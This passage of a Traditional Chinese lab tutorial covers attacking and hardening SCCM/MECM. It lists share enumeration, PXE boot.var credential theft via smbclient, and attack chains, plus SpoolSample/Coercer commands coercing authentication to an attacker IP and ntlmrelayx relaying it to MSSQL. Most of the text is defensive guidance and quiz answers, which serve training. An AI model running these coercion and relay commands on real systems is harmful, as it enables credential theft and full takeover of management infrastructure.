    • SMB 流量可以被攔截和修改
    • 沒有完整性保護
  3. 在 SCCM 環境中的影響
    • 可以中繼 MECM 機器帳戶的認證
    • 目標可以是 MSSQL、LDAP 或其他 SMB 服務

共享資源清單

SMB         192.168.52.11   445    MECM             [*] Enumerated shares
SMB         192.168.52.11   445    MECM             Share           Permissions     Remark
SMB         192.168.52.11   445    MECM             -----           -----------     ------
SMB         192.168.52.11   445    MECM             ADMIN$                          Remote Admin
SMB         192.168.52.11   445    MECM             AdminUIContentPayload           AdminUIContentPayload share for AdminUIContent Packages
SMB         192.168.52.11   445    MECM             C$                              Default share
SMB         192.168.52.11   445    MECM             EasySetupPayload                EasySetupPayload share for EasySetup Packages
SMB         192.168.52.11   445    MECM             IPC$            READ            Remote IPC
SMB         192.168.52.11   445    MECM             REMINST         READ            RemoteInstallation
SMB         192.168.52.11   445    MECM             SCCMContentLib$ READ            'Configuration Manager' Content Library for site P01 (10/11/2025)
SMB         192.168.52.11   445    MECM             SMSPKGC$        READ            SMS Site P01 DP 10/11/2025
SMB         192.168.52.11   445    MECM             SMSSIG$         READ            SMS Site P01 DP 10/11/2025
SMB         192.168.52.11   445    MECM             SMS_CPSC$                       SMS Compressed Package Storage
SMB         192.168.52.11   445    MECM             SMS_DP$                         ConfigMgr Site Server DP share
SMB         192.168.52.11   445    MECM             SMS_OCM_DATACACHE               OCM inbox directory
SMB         192.168.52.11   445    MECM             SMS_P01                         SMS Site P01 10/11/25
SMB         192.168.52.11   445    MECM             SMS_SITE                        SMS Site P01 10/11/25
SMB         192.168.52.11   445    MECM             SMS_SUIAgent                    SMS Software Update Installation Agent -- 10/11/25
SMB         192.168.52.11   445    MECM             UpdateServicesPackages READ     A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
SMB         192.168.52.11   445    MECM             WsusContent     READ            A network share to be used by Local Publishing to place published content on this WSUS system.
SMB         192.168.52.11   445    MECM             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.

關鍵共享詳細分析

1. REMINST(RemoteInstallation)

  • 權限:READ
  • 內容:PXE Boot 相關檔案
  • 攻擊價值:極高
  • 可能包含
    • boot.var 檔案(包含 NAA 憑證)
    • boot.bcd 開機配置資料
    • boot.sdi 系統部署映像
    • PXE Boot 變數和設定
  • 利用方式
    # 連接到共享
    smbclient //192.168.52.11/REMINST -U SCCM.lab/carol
    
    # 搜尋 boot.var 檔案
    find . -name "*.var"
    
    # 下載檔案
    get SMSBoot/x64/boot.x64.var
    
  • 防禦建議
    • 限制 REMINST 共享存取權限
    • 僅允許 SCCM 系統帳戶存取
    • 監控檔案存取日誌

2. SCCMContentLib$(Content Library)

  • 權限:READ
  • 內容:所有部署套件的內容庫
  • 攻擊價值:高
  • 可能包含
    • 應用程式安裝檔案
    • 腳本和設定檔
    • 可能的硬編碼憑證
    • 軟體套件
  • 利用方式
    • 搜尋敏感資訊
    • 分析腳本邏輯
    • 尋找憑證或 API 金鑰
  • 防禦建議
    • 評估低權限使用者的存取需求
    • 避免在部署腳本中硬編碼憑證
    • 使用加密儲存敏感資訊

3. SMSPKGC$(SMS Site Packages)

  • 權限:READ
  • 內容:SMS 套件共享
  • 攻擊價值:高
  • 可能包含
    • 應用程式套件
    • 部署腳本
    • 工作序列內容
  • 利用方式
    • 分析部署邏輯
    • 尋找可利用的腳本
    • 識別軟體漏洞
  • 防禦建議
    • 定期審查套件內容
    • 移除過時的套件
    • 限制存取權限

4. SMSSIG$(SMS Signatures)

  • 權限:READ
  • 內容:SMS 簽章檔案
  • 攻擊價值:低到中
  • 可能包含
    • 套件雜湊值
    • 完整性驗證資料
  • 利用方式
    • 了解套件驗證機制
    • 可能用於偽造套件
  • 防禦建議
    • 確保簽章驗證機制正常運作
    • 監控簽章檔案的修改

5. UpdateServicesPackages(WSUS Packages)

  • 權限:READ
  • 內容:Windows 更新套件
  • 攻擊價值:高
  • 可能包含
    • Windows 更新檔案
    • 第三方更新
  • 利用方式
    • 了解已部署的更新
    • 識別未修補的系統
    • 更新劫持攻擊(需要更高權限)
  • 防禦建議
    • 限制 WSUS 內容存取
    • 實施更新驗證機制
    • 監控異常的更新活動

6. WsusContent(WSUS Content)

  • 權限:READ
  • 內容:WSUS 內容庫
  • 攻擊價值:中
  • 可能包含
    • 更新內容
    • 中繼資料
  • 利用方式
    • 偵察更新環境
    • 規劃更新劫持攻擊
  • 防禦建議
    • 與 UpdateServicesPackages 相同
    • 實施嚴格的存取控制

7. 管理共享(ADMIN$, C$)

  • 權限:無(Carol 沒有權限)
  • 內容:系統管理共享
  • 攻擊價值:極高(如果可存取)
  • 評估
    • 正確設定,低權限使用者無法存取
    • 符合安全最佳實踐

安全問題總結

關鍵安全問題:

  1. SMB 簽章未啟用(signing:False)

    • 風險等級:極高
    • 影響:NTLM 中繼攻擊可行
    • 建議:立即啟用 SMB 簽章
  2. 過度寬鬆的共享權限

    • 風險等級:高
    • 影響:低權限使用者可存取敏感內容
    • 受影響共享
      • REMINST(PXE Boot 檔案)
      • SCCMContentLib$(所有部署內容)
      • SMSPKGC$(套件)
      • UpdateServicesPackages(更新)
    • 建議
      • 審查並限制共享權限
      • 實施最小權限原則
      • 僅授予必要的存取權限
  3. 敏感資訊洩漏風險

    • 風險等級:中到高
    • 影響:可能洩漏憑證、設定和部署邏輯
    • 建議
      • 避免在腳本中硬編碼憑證
      • 使用 SCCM 變數和加密機制
      • 定期審查部署內容

良好的安全設定:

  1. SMBv1 已停用

    • 避免了已知的 SMBv1 漏洞
    • 符合安全最佳實踐
  2. 管理共享受保護

    • ADMIN$ 和 C$ 無法被低權限使用者存取
    • 正確的權限設定

攻擊面總結

基於以上偵察結果,我們識別出以下潛在攻擊路徑:

攻擊路徑評估矩陣

攻擊路徑 所需權限 難度 影響範圍 隱蔽性 優先級
PXE Boot 攻擊 網域使用者 極高
NTLM 中繼攻擊 網路存取 SCCM 控制 極高
憑證收集(WMI) 本地管理員 橫向移動
內容探索 網域使用者 資訊洩漏
資料庫直接攻擊 資料庫存取 完全控制

詳細攻擊路徑分析

1. PXE Boot 攻擊(最優先)

攻擊鏈:

網路存取
    ↓
TFTP 連線 (UDP 69)
    ↓
下載 boot.var 檔案
    ↓
提取 NAA 憑證
    ↓
網域使用者存取
    ↓
橫向移動起點

優勢:

  • 無需任何憑證即可開始
  • TFTP 服務開放(端口 69)
  • REMINST 共享可讀
  • 攻擊過程不易被偵測

成功條件:

  • PXE Boot 未設密碼(高機率)
  • boot.var 檔案存在
  • NAA 帳戶未停用

預期結果:

  • 取得網域使用者憑證
  • 可能包含網域加入帳戶(通常權限較高)

防禦措施:

  • 為 PXE Boot 設定強式密碼
  • 使用 Enhanced HTTP 取代 NAA
  • 監控 TFTP 存取日誌
  • 定期輪換 NAA 密碼

2. NTLM 中繼攻擊(次優先)

攻擊鏈:

低權限網域存取
    ↓
PrinterBug 觸發(MS-RPRN)
    ↓
MECM 伺服器認證
    ↓
中繼到 MSSQL/SMS Provider
    ↓
資料庫控制 or API 存取
    ↓
新增 Full Administrator
    ↓
完全控制 SCCM 環境

優勢:

  • SMB 簽章未啟用(signing:False)
  • MS-RPRN 協定可用
  • MECM 機器帳戶通常是資料庫管理員
  • 中繼到多個目標的彈性

成功條件:

  • 能夠觸發 MECM 認證(PrinterBug/PetitPotam)
  • MSSQL 或 SMS Provider 可達
  • 沒有 EPA(Extended Protection for Authentication)

預期結果:

  • 資料庫管理員存取權限
  • 或透過 AdminService API 的管理權限
  • 可以新增 SCCM Full Administrator

防禦措施:

  • 啟用 SMB 簽章(最重要)
  • 實施 LDAP 簽章和通道繫結
  • 啟用 EPA
  • 限制機器帳戶的資料庫權限

3. SCCM 內容探索

攻擊鏈:

低權限網域存取
    ↓
存取可讀共享
    ↓
下載並分析內容
    ↓
提取敏感資訊
    ↓
規劃進階攻擊

目標共享:

  • REMINST:PXE Boot 檔案
  • SCCMContentLib$:所有部署內容
  • SMSPKGC$:套件
  • UpdateServicesPackages:更新

可能發現:

  • 硬編碼的憑證
  • API 金鑰
  • 設定檔案
  • 部署腳本邏輯
  • 軟體版本資訊

防禦措施:

  • 限制共享存取權限
  • 避免硬編碼敏感資訊
  • 使用加密儲存憑證
  • 定期審查部署內容

4. 憑證收集(需要管理員權限)

攻擊鏈:

本地管理員權限
    ↓
WMI 查詢 SCCM 政策
    ↓
提取 DPAPI 加密憑證
    ↓
解密憑證
    ↓
收集 NAA、集合變數等
    ↓
橫向移動

目標憑證:

  • 網路存取帳戶(NAA)
  • 工作序列變數
  • 集合變數
  • 客戶端推送帳戶

工具:

  • SharpSCCM
  • sccmhunter
  • 自訂 PowerShell 腳本

防禦措施:

  • 使用 Enhanced HTTP
  • 定期輪換服務帳戶
  • 限制本地管理員權限
  • 監控 WMI 查詢

5. 資料庫直接攻擊

攻擊鏈:

資料庫存取權限
    ↓
連線到 MSSQL Server
    ↓
修改 RBAC 資料表
    ↓
新增 Full Administrator
    ↓
完全控制 SCCM

目標資料表:

  • RBAC_Admins:管理員清單
  • RBAC_ExtendedPermissions:權限設定
  • Collections:集合定義

防禦措施:

  • 限制資料庫存取權限
  • 實施資料庫稽核
  • 監控資料表修改
  • 使用最小權限原則

攻擊路徑選擇決策樹

開始攻擊

有網域憑證?
├─ 否 → PXE Boot 攻擊
│       ├─ 成功 → 取得網域存取 → 繼續
│       └─ 失敗 → 尋找其他入口點
│
└─ 是 → 評估權限等級
        │
        ├─ 低權限 → NTLM 中繼攻擊
        │           ├─ SMB 簽章啟用?
        │           │   ├─ 否 → 執行攻擊
        │           │   └─ 是 → 內容探索
        │           │
        │           └─ 成功 → SCCM 控制
        │
        ├─ 本地管理員 → 憑證收集
        │                ├─ 收集所有可用憑證
        │                └─ 橫向移動
        │
        └─ 資料庫存取 → 直接修改資料庫
                        └─ 新增管理員

這些偵察結果為後續的滲透測試活動提供了清晰的攻擊面和潛在入侵路徑。

防禦策略與加強建議

縱深防禦架構

SCCM 環境的安全需要多層次的防禦策略:

┌─────────────────────────────────────────────────┐
│              防禦層次架構                        │
├─────────────────────────────────────────────────┤
│                                                 │
│  第 1 層:網路層防禦                            │
│  ├─ 網路分段                                    │
│  ├─ 防火牆規則                                  │
│  └─ 流量監控                                    │
│                                                 │
│  第 2 層:認證與授權                            │
│  ├─ SMB 簽章                                    │
│  ├─ LDAP 簽章                                   │
│  ├─ EPA(擴充認證保護)                         │
│  └─ 最小權限原則                                │
│                                                 │
│  第 3 層:SCCM 特定防護                         │
│  ├─ Enhanced HTTP                               │
│  ├─ PXE 密碼保護                                │
│  ├─ 管理員權限管理                              │
│  └─ 客戶端推送設定                              │
│                                                 │
│  第 4 層:監控與回應                            │
│  ├─ 日誌收集與分析                              │
│  ├─ 異常行為偵測                                │
│  ├─ 警報機制                                    │
│  └─ 事件回應計畫                                │
│                                                 │
└─────────────────────────────────────────────────┘

關鍵防禦措施

1. 網路層防禦

網路分段

實施 VLAN 分離:

管理 VLAN(SCCM 伺服器)
    ├─ Primary Server
    ├─ SQL Server
    └─ SMS Provider

部署 VLAN(Distribution Points)
    └─ 僅允許內容分發流量

客戶端 VLAN(終端使用者)
    └─ 僅允許必要的 SCCM 通訊

防火牆規則範例:

# 僅允許必要的 SCCM 流量
New-NetFirewallRule -DisplayName "SCCM MP to SQL" `
    -Direction Outbound `
    -LocalPort 1433 `
    -Protocol TCP `
    -RemoteAddress 192.168.52.12 `
    -Action Allow

# 限制 TFTP 存取來源
New-NetFirewallRule -DisplayName "TFTP from Management Network" `
    -Direction Inbound `
    -LocalPort 69 `
    -Protocol UDP `
    -RemoteAddress 192.168.52.0/24 `
    -Action Allow

# 封鎖其他來源的 TFTP
New-NetFirewallRule -DisplayName "Block External TFTP" `
    -Direction Inbound `
    -LocalPort 69 `
    -Protocol UDP `
    -Action Block

2. 認證強化

啟用 SMB 簽章(最重要)

在所有 SCCM 伺服器上:

# 要求 SMB 簽章
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

# 驗證設定
Get-SmbServerConfiguration | Select RequireSecuritySignature

透過群組原則:

電腦設定 → 原則 → Windows 設定 → 安全性設定 → 本機原則 → 安全性選項
    → Microsoft 網路伺服器: 數位簽章通訊 (一律) = 已啟用
    → Microsoft 網路用戶端: 數位簽章通訊 (一律) = 已啟用

啟用 LDAP 簽章和通道繫結

# 在網域控制站上啟用 LDAP 簽章
Set-ADDomainController -LDAPServerIntegrity 2

# 啟用 LDAP 通道繫結
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LdapEnforceChannelBinding" -Value 2

啟用 EPA(Extended Protection for Authentication)

# SQL Server EPA 設定
# 在 SQL Server Configuration Manager 中:
# SQL Server Network Configuration → Protocols for [Instance]
# → Properties → Advanced → Extended Protection = Required

3. SCCM 特定加強

遷移到 Enhanced HTTP

Enhanced HTTP 可以取代傳統的 NAA,大幅提升安全性:

步驟:

  1. 開啟 SCCM 主控台
  2. 導覽至:管理 → 站點設定 → 站點
  3. 右鍵站點 → 內容 → 通訊安全
  4. 啟用「使用 Configuration Manager 產生的憑證用於 HTTP 站點系統」
  5. 設定客戶端電腦通訊:「HTTPS 或 HTTP」

好處:

  • 不需要 NAA 帳戶
  • 使用權杖式認證
  • 降低憑證洩漏風險

PXE Boot 安全設定

啟用 PXE 密碼:

# 透過 PowerShell 設定 PXE 密碼
$SiteCode = "P01"
$ProviderMachineName = "MECM.sccm.lab"
$PxePassword = Read-Host -AsSecureString "Enter PXE Password"

# 匯入 ConfigurationManager 模組
Import-Module "$($ENV:SMS_ADMIN_UI_PATH)\..\ConfigurationManager.psd1"
Set-Location "$($SiteCode):"

# 設定 PXE 回應器
Set-CMDistributionPoint -SiteSystemServerName $ProviderMachineName `
    -EnablePxe $true `
    -AllowPxeResponse $true `
    -EnableUnknownComputerSupport $true `
    -PxePassword $PxePassword

其他建議:

  • 限制 PXE 回應到已知 MAC 位址
  • 定期輪換 PXE 密碼
  • 監控 PXE 請求日誌

停用客戶端推送安裝

如果不需要自動推送:

# 停用客戶端推送
Set-CMClientPushInstallation -SiteCode $SiteCode -EnableAutomaticClientPushInstallation $false

改用 Pull 模式:

  • 使用群組原則部署客戶端
  • 或使用軟體更新點(SUP)
  • 或手動安裝

限制 SCCM 管理員權限

實施角色型存取控制(RBAC):

  1. 避免過度使用 Full Administrator
  2. 建立自訂角色,僅授予必要權限
  3. 定期審查管理員帳戶
  4. 使用專用的管理帳戶(不用於日常工作)
# 建立自訂安全性角色
New-CMSecurityRole -Name "Limited SCCM Admin" `
    -Description "Restricted admin for application deployment only"

# 移除不需要的權限
Set-CMSecurityRolePermission -SecurityRoleName "Limited SCCM Admin" `
    -Operation "Delete" `
    -ObjectTypeName "SMS_Package"

資料庫存取控制

限制機器帳戶權限:

-- 移除 MECM 機器帳戶的 sysadmin 角色
USE master;
EXEC sp_dropsrvrolemember 'SCCM\MECM$', 'sysadmin';

-- 僅授予必要的資料庫權限
USE CM_P01;
CREATE USER [SCCM\MECM$] FOR LOGIN [SCCM\MECM$];
EXEC sp_addrolemember 'db_datareader', 'SCCM\MECM$';
EXEC sp_addrolemember 'db_datawriter', 'SCCM\MECM$';

4. 監控與偵測

關鍵日誌來源

設定集中式日誌收集:

日誌來源 位置 關鍵事件
SCCM Primary Server C:\Program Files\Microsoft Configuration Manager\Logs\ 所有 .log 檔案
SQL Server SQL Server 稽核日誌 登入、權限變更
Windows 安全性日誌 事件檢視器 4624, 4625, 4672, 4768
SMB 日誌 事件檢視器 → Microsoft-Windows-SMBServer 客戶端連線
RPC 日誌 事件檢視器 RPC 呼叫

異常行為偵測規則

使用 SIEM 建立警報:

  1. NTLM 中繼攻擊偵測
條件:
- 來自非預期來源的 NTLM 認證
- 短時間內對多個系統的認證失敗
- 機器帳戶的異常認證模式
  1. PXE Boot 異常
條件:
- 非預期時間的 TFTP 請求
- 來自非管理網段的 PXE 請求
- 大量的 boot.var 檔案下載
  1. 資料庫異常存取
條件:
- RBAC 資料表的修改
- 非預期帳戶的資料庫登入
- 批次的權限變更
  1. 部署異常
條件:
- 非工作時間的大規模部署
- 針對所有系統的腳本執行
- 未經核准的部署

監控腳本範例

PowerShell 監控腳本:

# 監控 SCCM 管理員變更
$SiteCode = "P01"
$LastCheck = (Get-Date).AddHours(-1)

Get-CMAdministrativeUser | Where-Object {
    $_.LastModifiedDate -gt $LastCheck
} | ForEach-Object {
    Write-Warning "Admin changed: $($_.LogonName) at $($_.LastModifiedDate)"
    # 發送警報
}

# 監控異常部署
Get-CMDeployment | Where-Object {
    $_.CreationTime -gt $LastCheck -and
    $_.CollectionName -eq "All Systems"
} | ForEach-Object {
    Write-Warning "Deployment to All Systems: $($_.ApplicationName)"
    # 發送警報
}

小試身手

問題 1:SCCM 架構元件

在 SCCM 架構中,哪個元件負責在 SCCM 服務與 MSSQL 資料庫之間提供通訊介面?

A. Distribution Point
B. Management Point
C. SMS Provider
D. Primary Server

答案:C

詳細說明:
SMS Provider 是 SCCM 架構中的關鍵元件,它在 SCCM 服務與 MSSQL 資料庫之間提供通訊介面。SMS Provider 提供 WMI 介面和 REST API(AdminService),允許管理員和工具與 SCCM 資料庫互動。

其他選項:

  • Distribution Point:負責發布內容到客戶端,不處理資料庫通訊
  • Management Point:協調客戶端與伺服器的通訊,不直接存取資料庫
  • Primary Server:SCCM 的核心節點,但不是專門的通訊介面層

從防禦角度:SMS Provider 是關鍵的攻擊目標,應該:

  • 限制對 SMS Provider 的網路存取
  • 啟用 API 認證和授權
  • 監控 AdminService 的異常存取

問題 2:PXE Boot 攻擊

在 PXE Boot 攻擊中,攻擊者主要想要取得哪個檔案來提取網路存取帳戶(NAA)憑證?

A. boot.bcd
B. boot.var
C. boot.wim
D. boot.sdi

答案:B

詳細說明:
在 PXE Boot 攻擊中,boot.var 檔案是關鍵目標。這個變數檔案包含:

  • 網路存取帳戶(NAA)憑證(DPAPI 加密)
  • 工作序列變數
  • 網域加入帳戶資訊
  • 其他敏感設定

其他檔案的用途:

  • boot.bcd:Boot Configuration Data,開機配置資訊
  • boot.wim:Windows 映像檔案,包含安裝檔案
  • boot.sdi:System Deployment Image,系統部署映像

攻擊流程:

  1. 透過 TFTP 下載 boot.var
  2. 使用 PXEThief 或類似工具解析檔案
  3. 如果有 PXE 密碼,需要破解
  4. 如果無密碼,直接提取 NAA 憑證
  5. 使用憑證進行網域認證

防禦措施:

  • 為 PXE Boot 設定強式密碼(必須)
  • 遷移到 Enhanced HTTP(建議)
  • 限制 TFTP 存取來源(必須)
  • 監控 TFTP 存取日誌(建議)
  • 定期輪換 NAA 密碼(必須)

問題 3:端口識別

在 SCCM 環境中,哪個 UDP 端口是 TFTP 服務使用的,通常用於 PXE Boot 攻擊?

A. 67
B. 68
C. 69
D. 4011

答案:C

詳細說明:
UDP 端口 69 是 TFTP(Trivial File Transfer Protocol)服務使用的標準端口。在 SCCM 的 PXE Boot 場景中,TFTP 用於傳輸開機檔案,包括 boot.var、boot.bcd 等檔案。

其他端口的用途:

  • 67:DHCP 伺服器端口,用於 IP 位址分配
  • 68:DHCP 客戶端端口,接收 DHCP 回應
  • 4011:PXE Boot Server 端口,用於 DHCP PXE 選項

TFTP 的安全問題:

  1. 無認證機制:任何人都可以連線
  2. 明文傳輸:沒有加密
  3. 簡單協定:容易被濫用

防火牆規則建議:

# 僅允許來自管理網段的 TFTP
New-NetFirewallRule -DisplayName "TFTP from Management Network" `
    -Direction Inbound `
    -LocalPort 69 `
    -Protocol UDP `
    -RemoteAddress 192.168.52.0/24 `
    -Action Allow

# 封鎖其他來源
New-NetFirewallRule -DisplayName "Block External TFTP" `
    -Direction Inbound `
    -LocalPort 69 `
    -Protocol UDP `
    -Action Block

問題 4:NTLM 中繼攻擊條件

根據偵察結果,哪個發現表明環境容易受到 NTLM 中繼攻擊?

A. MSSQL Server 版本是 2022
B. SMB 簽章未啟用(signing:False)
C. TLS 協定版本是 1.2
D. 使用自簽 SSL 憑證

答案:B

詳細說明:
SMB 簽章未啟用(signing:False)是 NTLM 中繼攻擊的關鍵條件。當 SMB 簽章被停用時,攻擊者可以攔截 NTLM 認證並將其中繼到其他服務(如 MSSQL、LDAP 或其他 SMB 服務),而不會被偵測到認證被竄改。

為什麼其他選項不正確:

  • A. MSSQL Server 2022:較新的版本,但與 NTLM 中繼無直接關係
  • C. TLS 1.2:是相對安全的協定,不會增加中繼風險
  • D. 自簽憑證:降低了 SSL/TLS 安全性,但不是 NTLM 中繼的前提條件

在 SCCM 環境中,這特別危險:

  1. 高價值目標

    • MECM 機器帳戶通常是資料庫管理員
    • 中繼後可完全控制 SCCM 資料庫
  2. 攻擊鏈:

    PrinterBug 觸發 MECM 認證
        ↓
    中繼到 MSSQL Server
        ↓
    執行為 MECM$ 帳戶(db owner)
        ↓
    修改 RBAC_Admins 資料表
        ↓
    新增 Full Administrator
        ↓
    完全控制 SCCM 環境
    
  3. 防禦措施(優先順序):

    • 立即實施:啟用 SMB 簽章
    # 在所有 SCCM 伺服器上
    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    
    • 短期內:啟用 LDAP 簽章和通道繫結
    • 中期內:實施 EPA(Extended Protection)
    • 持續:監控異常的認證模式
  4. 偵測方法:

    • 監控 Windows 事件 ID 4624(成功登入)
    • 特別注意來自非預期來源的機器帳戶登入
    • 設定警報:相同帳戶在短時間內從多個來源登入

問題 5:RPC 協定攻擊向量

在 RPC 協定列舉中發現了 [MS-RPRN] 協定,這個協定可以用於什麼類型的攻擊?

A. SQL 注入攻擊
B. 緩衝區溢位攻擊
C. 強制 NTLM 認證攻擊(PrinterBug)
D. 跨站腳本攻擊

答案:C

詳細說明:
[MS-RPRN](Print System Remote Protocol)可以用於 PrinterBug 或 SpoolSample 攻擊。這種攻擊利用 Windows 列印服務的設計特性,強制目標伺服器向攻擊者控制的主機發起 NTLM 認證。

攻擊原理:

  1. Windows 列印服務允許遠端通知機制
  2. 當列印佇列狀態改變時,可以通知遠端主機
  3. 通知過程會使用機器帳戶進行 NTLM 認證

詳細攻擊流程:

步驟 1:攻擊者設定 NTLM 中繼監聽器
    ↓
步驟 2:呼叫 RpcRemoteFindFirstPrinterChangeNotificationEx
    參數:
    - 目標:MECM 伺服器
    - 通知主機:攻擊者 IP
    ↓
步驟 3:MECM 伺服器嘗試連接到攻擊者
    ↓
步驟 4:連接過程中,MECM 使用機器帳戶認證
    ↓
步驟 5:攻擊者捕獲 MECM$ 的 NTLM 認證
    ↓
步驟 6:攻擊者中繼認證到 MSSQL Server
    ↓
步驟 7:以 MECM$ 身分執行(資料庫管理員)
    ↓
步驟 8:修改資料庫,新增管理員

工具使用:

# 使用 SpoolSample
SpoolSample.exe MECM.sccm.lab attacker-ip

# 或使用 Coercer
coercer coerce -t MECM.sccm.lab -l attacker-ip

# 配合 ntlmrelayx
ntlmrelayx.py -t mssql://192.168.52.12 -smb2support

在 SCCM 環境中的影響:

  • 結合 SMB 簽章未啟用,成功率接近 100%
  • MECM 機器帳戶權限高,中繼後影響巨大
  • 可以完全控制 SCCM 資料庫

防禦措施(多層次):

  1. 停用列印服務(如果不需要):

    Stop-Service -Name Spooler
    Set-Service -Name Spooler -StartupType Disabled
    
  2. 啟用 SMB 簽章(必須):

    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    
  3. 限制列印服務的網路存取:

    New-NetFirewallRule -DisplayName "Block Print Spooler RPC" `
        -Direction Inbound `
        -LocalPort 135,139,445 `
        -Protocol TCP `
        -Action Block
    
  4. 監控異常的列印服務活動:

    • Windows 事件 ID:307(列印服務相關)
    • 監控非預期的 RPC 呼叫
    • 特別注意來自非列印伺服器的連線
  5. 實施 EPA(Extended Protection):

    • 防止認證中繼
    • 在 SQL Server 和其他關鍵服務上啟用

偵測規則:

警報條件:
1. 列印服務接收來自非預期來源的 RPC 呼叫
2. 機器帳戶對外部主機的認證嘗試
3. 短時間內對多個目標的認證失敗
4. 列印服務相關的 Windows 事件 307 異常增加

參考資源


上一篇
AD 攻防實戰演練 Day 27:域內強制認證與Session劫持 - 從檔案投毒到 RDP 劫持的進階攻擊技術
下一篇
AD 攻防實戰演練 Day 29:Microsoft SCCM/MECM PXE 網路啟動攻擊與防禦實戰演練
系列文
資安這條路:AD 攻防實戰演練30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言